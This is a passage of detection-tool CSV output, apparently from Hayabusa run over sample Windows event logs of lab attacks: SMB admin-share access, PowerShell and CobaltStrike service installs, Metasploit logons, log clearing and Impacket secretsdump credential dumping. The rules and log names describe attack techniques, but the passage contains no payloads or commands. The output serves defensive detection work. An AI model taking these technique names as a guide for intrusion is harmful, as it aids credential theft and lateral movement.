+09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:1 TaskName:\\eviltask timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2021-04-21 23:56:41.780 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.786 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1569.002-Service execution/ID5145-remote service creation over SMB.evtx +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:41.818 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5145-remote shell execution via SMB admin share.evtx +2021-04-21 23:56:41.897 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell/ID4688-Encoded PowerShell MSF payload via process execution.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell/ID4688-Encoded PowerShell MSF payload via process execution.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID5140-5145,4688,4697-Encrypted payload deployed with service over SMB (GLOBAL).evtx" +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,high,PowerShell Scripts Installed as Services,,rules/sigma/builtin/security/win_security_powershell_script_installed_as_service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-MSF payload deployed via service.evtx +2021-04-21 23:56:43.234 +09:00,srvdefender01.offsec.lan,4697,critical,CobaltStrike Service Installations,,rules/sigma/builtin/security/win_security_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4697-MSF payload deployed via service.evtx +2021-04-22 17:50:53.614 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x74872,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: 0Konuy9q8HtkWeKS : IP Address: 10.23.123.11 : Port: 41747 : LogonID: 0x74872,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.686 +09:00,fs03vuln.offsec.lan,4624,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.780 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: FS03VULN$ : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: FS03VULN$ : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\WindowsPowerShell\v1.0\powershell.exe : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:04.796 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: FS03VULN$ : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:05.758 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60163 : LogonID: 0x76e83,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:05.758 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x76e83,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:06.539 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x7777e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:06.554 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60163 : LogonID: 0x7777e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.291 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:22.992 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:22.994 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.025 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.025 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.042 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.044 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.044 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.060 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.171 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 18:00:09.959 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:10.026 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb3084,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:10.026 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60285 : LogonID: 0xb3084,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:11.118 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb314d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:11.118 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60232 : LogonID: 0xb314d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb32cb,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 50078 : LogonID: 0xb32cb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.421 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.437 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\BTeHLZkJ.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.437 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.735 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\NMdzZfem.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.735 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\BTeHLZkJ.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\NMdzZfem.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.875 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:20.003 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.560 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 